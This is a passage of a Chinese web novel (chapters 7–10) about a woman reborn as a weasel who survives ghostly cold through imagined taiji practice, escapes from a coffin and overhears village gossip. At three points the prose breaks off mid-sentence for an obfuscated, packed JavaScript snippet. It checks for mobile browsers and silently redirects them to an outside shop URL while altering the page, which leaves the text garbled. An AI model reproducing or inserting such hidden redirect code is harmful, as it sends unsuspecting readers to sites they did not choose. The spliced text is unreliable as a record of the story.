黄鼠狼也会这样吗?可她现在只感觉到了冷,还没生出什么温暖的感觉。 真的好冷啊,她想自己现在全身上下唯一还没有僵死的或许只有脑浆了,所以她多少还能想一些事情。 这么看来,倒是比上辈子好些。 上辈子她死得太快了,明明才到家里,正低头换鞋,突然心脏绞痛,人就往后倒去了,视野中出现了昏暗的入户灯,她还想着自己该找时间换灯了,紧接着人就倒在了地上,失去了意识,等到再次有意识的时候,她已经是一只黄鼠狼了。 她也才知道,原来上辈子的自己已经死了。 死得真快,真干脆啊,也不知该说好还是不好。 毕竟她死前没有缠绵病榻、痛苦万分,如果她已经八十了,对于自己这个死法肯定是很满意的,可她才二十八啊,不管放在哪里都称得上一句英年早逝了吧。 她甚至还没有好好地生活过。 她本来打算年关之后辞职换份轻松些的工作,好好地过过自己的日子,没想到比年关更先来的是鬼门关。 现在,她又要死了,这辈子是黄鼠狼,也不知道下辈子会变成什么。 算了,还是不要有下辈子了,就算有,也别让她再恢复记忆了,接二连三地去死,任谁也是遭不住的。 她的呼吸渐渐不可闻,胸脯的起伏也缓慢了下来。 脑海中突然出现了一句话:我站在这里就是一把撑开的伞。 这句话是谁说的来着? 快要停止工作的大脑再次动了起来,记忆浮现,许芝想起来了,第一次听到这话是在大学的体育课上。 她就读的那所大学对学生有个格外的要求,每个入校的新生都要学习太极拳,到了时间还有考试,过关了才能毕业。 所以一次体育课上,他们见到了学校请来教他们打太极的老师。 那是个胖胖的老太太,看起来年纪不小了,头发花白,慈眉善目,穿着一身白色的运动服,看着倒是比他们这群大学生还要朝气几分,许是见他们都蔫蔫的,一副不感兴趣的模样,就说了这样一句话:“……我站在这里就是一把撑开的伞,伞普照全身,外邪莫犯,你们可以来试着碰我的衣摆,看要多少次才能碰到。” 许芝当然没有上去,为了捧场,班上有几个女生和男生跳了出去,也不敢对老人下重手,试探着出手,全被老人挡下,甚至三人一起上,都没有碰到老人的衣摆。 虽然说都是废柴大学生,可一次能挡下三个人,也的确让大家眼前一亮了。 那也是人生中第一次,许芝对一个东西产生了极大的兴趣。 此前的十八年中,她按部就班的学习、吃饭、睡觉,生活日复一日,好像没有什么特别喜欢,也没有什么特别不喜欢,日子波澜不惊,实在没有特别值得记忆的地方。 直到这一日,她对眼前这个胖胖的老太太产生了兴趣,太极,那不是公园老大爷老大妈锻炼身体的东西,慢慢吞吞,连打死蚊子都费劲,真的能实用吗? 她把太极学了下来,学校要求的二十四式之后,她又自己在网上找了教程,把一百零八式全学了,也才知道,太极当然是一种武术,可不精深不融会贯通,打起来是不会有什么实战效果的。 而能将太极融会贯通,练至精深者,实在是不多,有些人练了几十年,都不得其中真意。 许芝练了四年,说不好自己练得怎么样,但她的确是很喜欢的,那个时候的她,总是早早地起了,一个人背着书包到学校的花园里,寻个三面都被竹林包围的空地,书包放在一旁的石桌上,手机打开,在鸟雀的啁啾中,缓缓地调整着呼吸,耳边也传来了手机的声音—— “头颈正直松竖,下颌略收,头带顶劲,双眼平视,含胸拔背,双臂自然下垂,两脚分开同肩同宽,精神内收,气沉丹田……” “意识自丹田提气上升,同时双臂缓慢向前轻轻抬起,直至与肩同高,手心向下,十指微曲,呼气,缓缓向下按,双腿也随之屈膝……” 身体动弹不了,许芝在意识之中忍不住跟着以前的自己慢慢动了起来,死前还能记起自己喜欢的东西,还能跟着打一打,又何尝不是一种幸福呢? 气沉丹田,中气上行,灌注脊柱,一呼一吸之中,手脚缓慢地动起来,双手下压,右腿迈出一步,左手中指来到了右掌根,双臂成圆环,以腰为轴,逆时针转动,右手掌向上,左手背向上,双手送出,收回之时,双手翻转……这是揽雀尾。 接着是斜单鞭……提手上势……海底针……云手……双风贯耳……搬拦捶…… 许芝沉浸在了一招一式之中,她很难说清楚自己为什么会喜欢太极,是喜欢在一遍遍盘架子的过程中打磨自己的动作?还是喜欢把每一招每一式连贯打出的爽快?亦或者,仅仅是因为那个时候的她迫切地渴望着一个喜欢的东西出现,恰好太极出现了,恰好她对它又有那么点兴趣? 或许都有,许芝不知道,也不想去寻根问底,喜欢本来就是一件难得的事情,既然有了,好好珍惜就是。 ……抱虎归山……玉女穿梭……下势……金鸡独立……倒撵猴……白鹤亮翅…… 双手双脚缓缓而动,一招一式之间韵律自生,恍惚间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168876|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许芝好像真的回到了大学的那片小竹林,回到了自己在学校打太极的日子。 后来为什么不打了呢? 好像是因为太忙了,长时间的通勤、惯常的加班、不定时的微信通知,连睡个好觉都成了奢侈,太极,便渐渐被她淡忘了。 生存面前,喜好变得无足轻重了起来。 可她现在快死了,脑海中最后想起的居然是太极。 ……白蛇吐信……十字摆莲……上步七星……双摆莲…… 一百零八式,虽然其中多有重复,却实实在在有一百零八个拳式,打完一套少说也要一节课的时间,初学的时候,她觉得太多太长了,可现在她却觉得太少,不知不觉间,就来到了最后一式。 两手抬在身前,缓缓下沉,右脚回收,脚尖点地,蹲着的双腿慢慢立起,两手落于身侧,手心向后,目视前方,呼吸均匀,气归丹田,这就是第一百零八式——合太极。 许芝缓缓吐出了一口气,她睁开了眼睛,一滴水落在了她的眼皮上,她的眼皮一颤,有些诧异地看了出去,看到了刘大娘肿胀的下巴,她眨了眨眼睛,心里有些诧异,她竟然还没死,她竟然又醒过来了。 那样的情况,她居然都死不了吗? 不仅如此,她发现自己的身体竟然有了一点点知觉,原本僵死的四肢也有了微微的麻痒之意,这是身体在回温的表现! 许芝心中惊异,自己这是变异了?还是黄鼠狼的确就这么不容易死? 这时候,刺骨的寒意再度将她包裹,像是密密麻麻的冰针,一下下地刺入她的骨血之中,原本开始回温的身体再次麻木起来,许芝瞬间清醒,什么不容易死,她看自己马上就要再死一次了! 太极,是了,自己刚刚打完了一套太极! 虽然还不确定身体的回温是不是真的因为太极,但这种时候哪里还能想更多,死马当活马医了,许芝闭上眼睛,再次在意识中跟着以前的自己打起了太极拳。 第二套打完,她睁开了眼睛,自己果然还没死,细细感受,身体也果然再次传来了麻痒的感觉,许芝心中一定,看了眼刘大娘的下巴,也不知道这刘大娘要带她去什么地方,不管是去哪里,她现在都反抗不了,唯一能做的就是想办法先保住自己这条小命了。 她吸了口气,闭上眼睛,第三次在意识中打起了太极。 在今天之前,她从来没有这么干过,身体不动,全靠脑中的意念想象着自己把一个个拳式打出来,这并不容易,没有了身体的动作,意识之中每个动作想要做到位是极难的,她必须将精神高度集中,这样才能打出一点平时的滋味来。 一遍又一遍,身体的麻痒渐渐开始明显了起来,在外头寒意的刺激下,成了一种细密尖锐的刺痛,伴随着遍布全身的痒意,让人难以忍受,恨不得大叫起来,浑身打滚,以此来缓解这种既痛又痒的折磨。 许芝的牙关又开始打颤了,她死死地咬住,闭紧双眼,吸气呼气,努力让自己的精神集中起来,不能停下来,一旦停下,寒意就会涌来,原本已经开始回温的身体就会再次变得冷木起来,要想让身体能重新动起来,她必须把这一关熬过去! 吸气呼气,吸气呼气,许芝放慢了自己的动作,慢一点,再慢一点,确保每个动作都能做到位,一式连着一式,循环往复,渐渐的,好像有一层雾气将她包裹,身体上尖锐的刺痛和难耐的痒意似乎也变得浅淡了起来…… 8. 第 8 章 “是这里吗?” “不是这里还能是哪里,没看到那里阴井都挖好了。” “到了到了,大家都看着点,马上就煞脚了,莫要在这里多出事来,整完了,回去喝酒!” “呜呜呜——” 嘈杂的人声入耳,还伴随着呜呜的哭声,许芝拧起了眉,心中生出些烦躁,这一楼的房子就是不好,大清早的就有人在别人屋外吵闹,实在是讨厌。 正想着,身下晃荡了起来,她心中一惊,这是地震了?猛地睁开了眼睛,入目的是一片黑沉,一丝光亮都没有,鼻端传来浓郁的臭气,几乎要让人窒息,脚下还软趴趴的,摇来晃去,让她的身体也跟着晃动起来。 突然身下一个猛烈的摇晃,许芝赶紧去抓身下的东西,抓了个空,直直飞了出去,兜头撞在了一块硬物上,与此同时,身下砰的一声响起,伴随着咔嚓的声音,眼前跟着亮了起来。 许芝的一口气吸到一半就戛然而止,不敢再吸,她咧了咧嘴,感受着头顶的疼痛,完全清醒了,什么城中村,她现在是黄鼠狼,真畜生,已不是上辈子那个社畜了。 她看向了侧前方,那里破开了一道口子,白光从口子泄了进来,也让她摆脱了完全的黑暗。 即便是黄鼠狼,即便夜视能力不差,如果一点光都没有,她也是看不见的。 她打量起了自己所处的地方,是个长方形的木头盒子,四面都封得死死的,光秃秃的什么都没有,只有她身下躺着一个人,浓郁的臭气也正是从这人身上传来的。 许芝转过身,看向这人的脸,熟悉的肿胀,果然是刘大娘,再看看这盒子的形状,还有什么不明白的,自己这是在刘大娘的棺材里了。 合着这刘大娘捉自己竟然是为了陪葬,真是陋习! 她站了起来,爪子在刘大娘身上各处都试探地踩了踩,见她一动不动,看着没有半点反应,这才松了口气,不会诈尸就好。 虽然跟尸体待在一起,还在死人棺材里,许芝心里却没有太过恐惧,反而觉得此刻的刘大娘比起昨夜的她和善多了,至少不会抓着黄鼠狼不放,还带着一身能冻死人的寒气。 这时,外头响起了一声惊呼:“哎呀,破了,棺材破了!” 另一个声音说:“我就说好生点嘛,我们这边在慢慢放,你们那边砰一下就落下去了,肯定就要烂嘛!” 又一个声音说:“哪个晓得这个东西恁个脆,贾老六,你买的什么棺材?买个好点的嘛,贪那些便宜,你看看,轻轻一碰就烂了!” 叫贾老六的男人开口骂道:“格老子的李老头,说好了不得破的!” 一直呜呜哭着的背景音喊着:“阿娘,阿娘。” 听起来是个年轻女孩儿的声音,想来是刘大娘的女儿。 第六个声音出来打圆场,说:“没事没事,都入葬了,待会儿多铲些土,坟堆高一些就成了,不会有事的!” 这人说完后,外头就没人说话了,只余下刘大娘女儿抽噎的哭声,没多久,有细碎的东西落在了棺材上,砰砰沙沙声接连响起,许芝走到了破口处,闻到了浓郁的土腥味,也看到了外头纷飞的泥巴。 这是在覆土了啊,照这个速度,棺材很快就会被埋住,到时候自己又只有死路一条了。 许芝叹了口气,已经不知道该说什么了,她一个小小黄鼠狼何德何能接二连三地遇到这种死劫,她才两个多月大,就非死不可吗? 她伸出爪子扒拉了一下破开的口子,这棺材不厚,只是薄薄的一层木板,否则也不至于落到土坑里就能裂开,只是口子不大,还不足以让她钻出去,她用了用力,掰不动,也是,她现在这点力气,这木板再薄,也不是她能搞破的。 她想了想,伸出爪子在棺材板上挠了起来。 咵咵咵,咵咵咵—— 几下之后,外头的动静戛然而止,许芝听到一个惊惧的声音抖着说:“有……有声音!里头有声音!” 有人说:“不可能,你肯定听错了!” 许芝抬爪又在棺材板上抓挠了起来,第三个声音也抖了起来:“有,真的有!我也听到了!” “好像……是里头在……在挠。” 刘大娘的女儿哭着说:“是阿娘,阿娘是不是没有死?我们快把阿娘救出来吧!” 一个男人的声音喝道:“不要在这里乱说!你娘那样子怎么可能没死!” “昨晚盖棺的时候又不是没闻到,身上都臭了!” 他顿了顿,听着像是怕得咽了咽唾沫,才又开口说:“土,土,我们快点把她埋了!” 许芝一激灵,这么埋了可不行!于是两只前爪都在棺材板上抓了起来,外头一个男人吓得赶紧说:“埋不得了,埋不得了!太凶了,怪不得棺材都烂了,快点回去请个师傅来看!” 此言一出,几个声音纷纷附和:“对头对头,要请师傅来看,要请师傅来看!” “埋不得!埋不得!” “快走快走!” “去请王道士,他隔我们不远!” 说着,脚步声就慌乱地往远处去了,刘大娘的女儿抽噎着,似乎不愿意走,喊着:“阿娘,我想陪陪阿娘!” 叫贾老六的男人斥她:“陪什么陪?人都死了,快走!” 女孩儿踉跄的脚步声响起,应该是被拽走了。 周遭安静了下来,棺材里,许芝很是无奈,人竟然都走了,棺材里有动静,难道不该开棺看看嘛? 这一走,她要怎么办,没人开棺,她要怎么出去? 她抬起前爪,站了起来,看看棺材盖,用脑袋顶了顶,自然是纹丝不动的,即便这口棺材质量不合格,棺材板想来也不算厚重,却也不是她现在这个小身板能撼动的。 她还是走到了破口处,人走了也好,至少没有了马上就被活埋的迫切,她能好好地研究研究,如何能把这破口扩大,让自己出去。 以她现在身形,只要有个耗子洞大小,就能出去了。 只是这破口是裂开的长条状,边缘有些毛刺,宽度也就够她的爪子伸出去,其他的就不行了。 她退到了棺材另一头,对着棺材壁破口处就冲了过去,砰的一声响起,木板颤了颤,扩大了些许,很快又恢复了原状。 许芝又撞了几下,缝隙也只扩大了一丝,距离能让她出去,还遥遥无期,而她身上已经开始隐隐作痛了,这么撞看来是不行的。 她站在刘娘子身上歇着气,已经顾不上棺材里的臭气了,也不知道那些人什么时候回来,看他们那胆子,怕是回来了也不敢开棺,如果他们不管不顾直接把棺材给埋了,那自己真就完蛋了。 所以她最好在人回来之前从这缝里钻出去。 她看着眼前的薄木板,是真的很薄,要是在她上辈子,逮着这木板往外一掰,就能将其折断,开出个大洞来。 可现在不行了,她走到了木板前,把头往缝隙里挤,只要头能挤出去,她的身体就能跟着挤出来。 咔嚓咔嚓,许芝使出了吃奶的劲儿,感受到缝隙在一点点地扩大,她咬着牙,喉咙里发出了叽叽叽的叫声,这黄鼠狼怎么使劲儿的时候也这么叫啊。 脑袋开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168877|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶出去了,口子只要再裂开一点,她就能出去了,该死,是卡住了吗?怎么这么硬,一点都不动了! 这个时候,她又不可能把头给抽回去看看情况,那不就前功尽弃了嘛。许芝鼓足了劲儿,拼命地往前挤,把全身的力气都集中在了脑袋顶,再来点力气,只要再来一点,她就能出去了! 突然,她的腹部涌出一丝暖流,直冲她的脑袋,许芝还没反应过来,就听到耳边传来咔嚓一声,脑袋周围一松,跟着往前一送,眼前当即大亮。 她抖了抖耳朵,晃了晃脑袋上凌乱的毛,看着眼前的土坑壁眨了眨眼睛,这土坑壁距离她的鼻尖不超过五厘米,散发着浓浓的土腥味。 她的脑袋挤出来了! 许芝吸了口气,鼻端的臭气总算是淡了不少,虽然土腥味更浓郁了,可土腥味比臭味好多了。 她缓了缓,这才再次用力,先把前爪给挤出来,好在刚才不知怎地把缝隙顶开了,不过用了些力气,前半身就跟着出来了,接着翻个身,前爪扒拉着棺材,把后半截身子拔了出来,没有停留,许芝顺着棺材就爬到了顶上,站在棺材板上看看听听闻闻,接着跃到平地上,钻入草丛中,跑了。 闻着几人的气味,顺着他们离开的方向,许芝跑了好一阵,终于闻到了熟悉的气息,是她昨夜赊药的那个村子,她也不敢靠近,在远处寻了个小土坡,先爬上去看看附近,确认安全,这才跑下小土坡歇气。 累死她了,看看天色,现在应该才天亮不久,也不知刘大娘是什么时候把她带入棺材里的,后来发生了什么她半点不知,也是奇怪,昨夜那样的情形,她竟然都能睡着。 她看看自己的身体,一切如常,不再像昨夜一样冻得发僵,也没有那痛中带麻的酸爽滋味,刚才跑了这么久,甚至都没感觉到身体有什么不对劲的地方,所以她这是完全好了?被鬼冻了大半夜,活下来不说,还没什么后遗症。 许芝可不觉得这是理所当然的事情,虽说在这之前她从来没有遇到过鬼,可她见过被冻了的人,别的不说,冻伤肯定是有的,严重的甚至还要截肢,可她现在浑身上下好得不得了,就跟昨夜发生的事情都是自己错觉一样。 黄鼠狼这么厉害的吗?若真是这么厉害,她昨夜也不会那么惨了。 太极,这是许芝能想到的唯一解释,昨晚自己开始打的时候,打完一次,身体就暖和一分,现在看来,自己能活下来,必然是因为这个。 她又站起来看了看自己的腹部,腹部的毛再次沾上了泥浆,没办法,昨夜才停雨,现在路上还是一片泥泞,她又跑了这么久,身上的毛当然又脏了,回去又得麻烦韩瑛给她洗澡了。 虽然看不到,但她还记得,刚才在棺材里的时候,有一丝暖流从下腹涌了出来,顺着脊椎冲到了她的脑袋,那一瞬间,她就冲破了口子,从棺材里出来了。 许芝动了动耳朵,圆溜溜的眼中露出沉思之色,这一丝暖流是怎么回事?要不是它是往上走的,她差点以为是自己的生理期到了。 也跟太极有关吗? 倒是奇怪,她上辈子打了四年的太极,也就起了个锻炼身体的作用,怎么这辈子才开始打,就有了些从未听过的变化。 是因为她换了身体吗?黄鼠狼的身体比人还适合打太极? 不太可能,太极是人搞出来的东西,最适合的当然是人了,再说了,昨晚她的身体根本没动呢。 实在是想不明白,她也就不想了,站了起来,闻了闻空中的气味,她现在只想快点回韩家,把一身打理干净,然后填饱肚子,好好地睡上一觉。 9. 第 9 章 韩家,小姑娘蹲在屋檐下,身前是个木盆,盆中冒着热气,里头是个泡在水里的黄毛小兽,正闭着眼睛任由小姑娘在它身上搓来搓去,那享受的样子,看得小姑娘牙痒痒,忍不住说:“小黄狼,半夜才给你洗了澡,你怎么又把自己弄成这样了?” “这大清早的你去哪里了?我到厨房的时候见箩筐好好地盖着,里头什么声音都没有,还以为你在里头睡觉呢,想着让你多睡会儿,没想到你竟从外头回来了。” 韩瑛转头看了眼还扣在厨房地上的箩筐,上头的木头墩子可是她昨夜花了好大的力气才搬上去的,把箩筐压得死死的,保管几只猫一起来了都弄不开,她觉得奇怪:“你是怎么从里头跑出来的?” 那么重的木头墩子,要是没人给移开,小黄狼怎么出得来呢? 许芝当然不会回答她,闭着眼睛如老定僧一样,如果不是昨晚自己亲身经历了,她也想不到自己会被鬼抱着穿墙穿物,当然,这样的事情她也不想再经历第二次了。 韩瑛嘀咕着:“莫不是在地上刨了坑,待会儿去看看。” 又专心给许芝洗起了澡,边洗边说:“小黄狼,这是今日给你洗的最后一次了,你不要再把自己弄脏了,知道么!” 许是觉得自己的语气硬了些,小姑娘跟着柔声解释:“不是我不愿意给你洗,是家里的柴火没那么多了,这几天下雨,我没能捡多少柴回来,捡回来的那些又还湿着,用不了,水缸里的水也不多了,我们还得吃一些,就没那么多水来给你洗了。” “等我去捡了柴、提了水回来,才能再给你洗澡了。” “小黄狼,你听到了吗?” 许芝闭着眼睛,动了动耳朵,当作是回应,果然听到小姑娘说:“你知道就行啦!” 小姑娘的声音带着喜意,道:“小黄狼,你知道吗?小妹昨晚喝了药,今早就没那么烧了,喉咙也没那么痛了,你带回来的药可真有用,等到把四副药喝完,小妹肯定就好起来了!” 许芝又动了动耳朵,有用就好,昨夜也是运气好,否则也带不回这么对症的药。 这时,韩瑛说:“水脏了,快出来吧,我给你换水。” 许芝睁开眼睛站了起来,等到一身洗了干净,她又去厨房烤火,就见到小姑娘端了一个碗到她面前,眼睛亮亮地说:“我知道你肯定饿了,给你留了粥,快吃吧!” 许芝低头一看,不错,今日的粥里连蛋白碎末都没有了,夹杂着些糠壳,清汤寡水,实在是很难让狼生出什么胃口来。 但她还是低头吃了起来,嘴里的伤口受到刺激,痛了起来,许芝已经无心去管了,她现在太累太饿了,必须先吃些东西恢复体力。 小半碗粥吃完了,抬头就看到韩瑛盯着她的碗咽着唾沫,许芝舔嘴巴的动作顿了顿,这个家里的食物已经紧缺到这个程度了吗? 她抬起爪子蹭了蹭嘴,走到了炉子前,炉子上又在熬药了,她蹲了下来,抬起前爪,对着炉火露出了自己的腹部,跳动的火苗烘烤着湿润的毛发,热烘烘的,许芝低头看向了自己腹部的伤口,能看到昨日的薄痂掉落了不少,露出了带着血色的伤痕。 韩瑛蹲在她身边,也看到了,说:“小黄狼,你的伤口又出血了,待会儿我给你煮蒲公草喝。” 许芝当然同意,蹭了蹭她的腿,小姑娘便跟着伸出了手,扒拉起了她身上的毛,帮着把尽快把一身的毛给烤干。 等到药熬好,许芝一身也烘得差不多了,厨房她是不想再睡,被小姑娘抱起来,到了她们的卧房,往竹篮里一趴,看着小姑娘又把箩筐罩在了她头顶,好在那大木头墩子太重,她不能从厨房抱过来,所以就没压上去。 许芝松了口气,闭上了眼睛,只是箩筐的话,就算刘大娘再来,她也能跑出去,而且现在是大白天,看棺材里刘大娘的样子,应是不能出来的。 意识昏沉,她安心地睡了过去。 …… 阴了几日的天终于放晴了,虽说路还是稀的,可地里的庄稼不等人,村中人已经出门下地了,所以比起雨天,此刻的村子反倒更安静了些。 阳光落在满是湿意的大地上,无声地将地上的水分带走。 村中的猫猫狗狗各自寻了干燥的地方,趴在太阳下晒了起来。 “汪汪汪,汪汪汪——” 犬吠声响起,猫狗都抬头看了过去,剩下的狗也跟着叫了起来,告知着村中的人——有生人入村了。 韩家,略显昏沉的卧房中,一个颇为老旧的竹编箩筐倒扣在地,阳光穿过密匝的缝隙照了进去,隐约能看到里头有一只黄毛小兽,正安然卧着,清浅的呼吸从中传来,突然呼吸声一滞,里头的小兽微微动了动。 许芝的意识渐渐复苏,她不知道自己睡了多久,但感觉比早上的时候好了不少,当然还是困的,她现在一日里需要的睡眠时间比自己做人的时候多多了,估计能有十几个小时。 她没有睁开眼睛,准备待会儿接着睡,只是竖着耳朵听着外头的动静。 做人的时候,她一觉睡下去,除非中途真是有很大的动静,否则轻易是不会醒来的,但她现在是黄鼠狼,就是睡着了,也是警觉着的,这么大的狗叫声,她当然跟着就醒了。 村中有人出声呵斥着,狗叫声渐渐没有了,这么看来没什么大事,狗就是这样,神经兮兮的,风吹草动就要叫上一叫,丁点儿都不稳重,她把脑袋往前爪里一扎,压着耳朵,准备再睡。 意识还没沉下去,就听到了脚步声,像是直直朝着韩家来了,伴随着脚步声,还有人低声说话的声音。 “真的不在了吗?你莫要哄我。” 听着是个女人的声音,很陌生,年岁应该不是特别小,三四十岁吧。 另一个声音说:“哄你作甚?这种事情莫非还会有人胡说吗?那得是什么人了!前头就是她家了,不信你进去问问就知道了。” 这声音就很熟悉了,是韩家的邻居洪大娘。 接着就响起了敲门声,是韩家的院门,许芝把脑袋从前爪里抬了起来,露出了耳朵,听到韩瑛的脚步声响起,小姑娘跑到了门口,打开了门,还没说话,洪大娘的声音就响起了,问:“瑛丫头,小妹如何了?嗓子还是疼吗?” 韩瑛说:“大娘,我煮了药给小妹喝了,今天早上小妹的嗓子好多了。” 洪大娘说:“那就好那就好,你是学到了你娘本事的,好姑娘!” 接着说:“这是清平镇的张婆婆,以前跟你娘认识的。” 陌生的女声跟着响起,“这就是瑛丫头吧,倒是听你娘提起过你,你阿娘可在家?” 韩瑛的声音低了下去,说:“我阿娘……已经不在了。” 清平镇的张婆婆啊了一声,语气有些慌乱:“哎呀,这……这……节哀,节哀。” 此后也没再说什么,洪大娘叮嘱韩瑛若是有事就去寻她,便带着那张婆婆走了,没走多远,脚步声又停下了,听那位置,停下的地方应该洪大娘家。 安静了几息,张婆婆压低的声音响起:“哎呀,竟真的走了,年岁也不大,以往看着也是好好的,未听说有什么不妥,怎么突然就这么走了?” 洪大娘叹了口气,声音响起:“老天爷要收了这条命,谁还能有什么法子么?” “就是可惜了,三娘这个人,你也知道,是最能干不过的了,我们这些人家,平日里遇到的事情,哪样她不能干?驱邪、打卦,就是有点头疼脑热的,去寻她,她也能给弄点草药来,吃了还真能顶用,比看郎中的花费少多了。” 张婆婆说:“可不是,前岁,我娘家那边有个侄女儿胎不正,生得艰难,赶紧寻人来请了周三娘,母女平安,现在那小丫头都能满地跑了!” 洪大娘又叹了口气,说:“偏偏这样能干的人不长命,三十都没有,就这么去了。” 张婆婆好奇问:“到底是如何走的?是得了什么病?” 洪大娘说:“不是,她自己就懂这些,哪至于突然就病死,是被蛇给咬了。” “也是命,那日明明天阴着,眼看着要下雨,我在院子里补衣裳,就见她背着背篓往外头走,问她去哪里,她说要去山上。” “我当时还劝了她,说天不好,要落雨了,去不得山上,可她非要去,也不说为什么。” “你说那么大个人,我怎么拦得住?她又是时常往山上跑的,从未出过什么事,肯定是比我晓得事的,我也就没再说什么了。” “就想着在院子里多坐坐,等她回来,也帮她看看孩子。” “照她平日里去山上,没有个把时辰是回不来的,那日却是回来得快,我半条袖子都没缝好,就听到有响动了,抬头去看,她就回来了。” “我还高兴,正要喊她,就看她走起路来川川倒倒的,我赶紧去扶她,看她脸色煞白,嘴巴颜色都乌了,进了屋才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168878|196790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓得,她在山上被蛇给咬了!” “是烙铁头!” “啊!”张婆婆惊呼出声,“竟是这东西,我听人说这蛇毒性大得很,被咬了的人没一个得活!” 洪大娘说:“可是呢!若不是这蛇,三娘哪里会死?” “她本就懂这些,在山上的时候就放了血,回来我帮着她又是敷药又是吃药,这样的精心,若是其他什么咬了,肯定就好了,偏是烙铁头,也不知怎地就这般的毒。” 她叹气:“我当时给她弄好了药,就归家去了,家里几张口等着我造饭,想着第二日再去看看她,没想到第二天她就……” 洪大娘叹了口气,两个女人又唏嘘了几句,骂了那叫烙铁头的毒蛇。 洪大娘突然说:“三娘是造孽,可她这么走了,倒是松活了,留下两个娃儿,才是不知道要怎么过活。” 张婆婆问:“孩子爹呢?” 洪大娘冷哼一声:“那就是个软蛋!田里的烂泥巴都比他骨头硬!” “三娘还在的时候,他什么都不干,要不是这样,三娘哪至于这般累,要在外头挣钱,又要打理家里那几亩地,还要养孩子!” “韩富这个背时的,没有老太爷的命,偏要摆老太爷的架子,家里的扫帚倒了都不扶,全靠着三娘养他,要我说这种男人真是没用!” “最可气的是,三娘才走一个多月,眼看着家里没人养他了,他居然拿了家里的钱跑了!” 张婆婆惊讶:“跑了?家里的地不要了?” 洪大娘说:“可说呢,我们这些庄户人家,谁舍得抛下家中的地?这可是我们的根!” “那韩富却是舍得,自三娘到了他家,他就没下过地,怕是连自家的地是哪些都认不全了,现在没了三娘,他哪里吃得下来种地的苦?” “两个孩子年岁又小,还不是得靠他这个当爹的养,他是丁点儿苦都不想吃,地不要,孩子也不要了,卷了家里的钱,连夜就不见了!” 张婆婆听得啧啧称奇,“这世上竟还有这般的男人,竟一点担当都没有吗?” 洪大娘呸了一声:“他有个屁的担当,就是个软骨头!” 张婆婆叹道:“娘死了,就是孩子遭殃,便是爹死了,只要娘还在,孩子就能好好的。” 洪大娘:“谁说不是,一贯只听说有了后娘便有后爹,可从未听说有了后爹有后娘的。” 又叹:“可怜三娘的两个孩子,没了娘,又摊上这么个爹,真不知往后该怎么活。” 她话音一转,说:“不过这瑛丫头,一向懂事,她娘去哪儿都带着她,也跟她娘学了些本事,你不是要寻三娘么,三娘不在了,我看瑛丫头也是行的。” “三娘那般有本事的人,若说谁能得她的传,只有是瑛丫头了!” 张婆婆迟疑:“这……看着还是个孩子,就会这些了?” 洪大娘:“总比我们这些人懂些吧。” 张婆婆:“说是这么说,可那头的事情可不简单。” 洪大娘放低声音:“怎么说?” 张婆婆说:“邪门的紧!棺材都抬上山了,进坟的时候,棺材直接就破了!” 洪大娘:“棺材还能破?怕不是买的太薄了。” 张婆婆:“要是这样就没这些事情了,埋都埋了!” “我家那个也在,说是棺材一破,就听到里头咵呲咵呲的声音,听着就像是有人用指甲在抓棺材一样!” 这次轮到洪大娘惊呼了:“哎哟我的天,莫非人还没死?” 张婆婆:“咋可能没死?我们都看着从塘子里捞起来的,人都泡发了!” 洪大娘:“那是心头有怨啊!” 张婆婆:“可不是,大家都这么说,肯定是哪里没让人家满意,要我说那棺材就买的不对,哪有买这么薄的棺材的道理?又没穷到那个份上。” “所以我才来寻三娘,请她去做做法事,消消怨气。” “你看,这事可不一般,先头他们去请王道士,王道士听了都不敢来,没点本事的人沾不得这个。” 洪大娘立刻便说:“那不要瑛丫头去了,她年岁小,就是有点本事,也压不住。” 又跟张婆婆说:“你家在镇上,消息灵通,要是以后有什么要请三娘的,给我带个话,让瑛丫头去试试看,总不能眼看着两个小姑娘就这么饿死了。” 张婆婆说:“好说好说。” 10. 第 10 章 韩家,许芝睁开了眼睛,耳边的说话声已经低不可闻了,洪大娘把那个张婆婆送出了村。 她看着从门外照进来的阳光,星星点点地落在她的爪子上,形成一个个小小的光斑,箩筐里斜斜支进来几道细小的光柱,些许尘灰在其中起伏盘旋,她轻轻吐一口气,已经开始落下的尘灰又打着旋往上飞了。 原来如此,她就说这个家里怎么只有两个孩子当家,就算是失去了母亲,父亲还在的话,也该担起养育孩子的责任,她本以为两个小姑娘的父亲可能也出了什么事情,就算不是死了,也该是被什么牵绊住了,难以回家。 现在才知道,居然是因为怕种地、怕担责,拈轻怕重、好逸恶劳,所以卷了家中的钱,抛下两个孩子在这光秃秃的家里自生自灭。 这么做,跟任由两个孩子去死有什么区别? 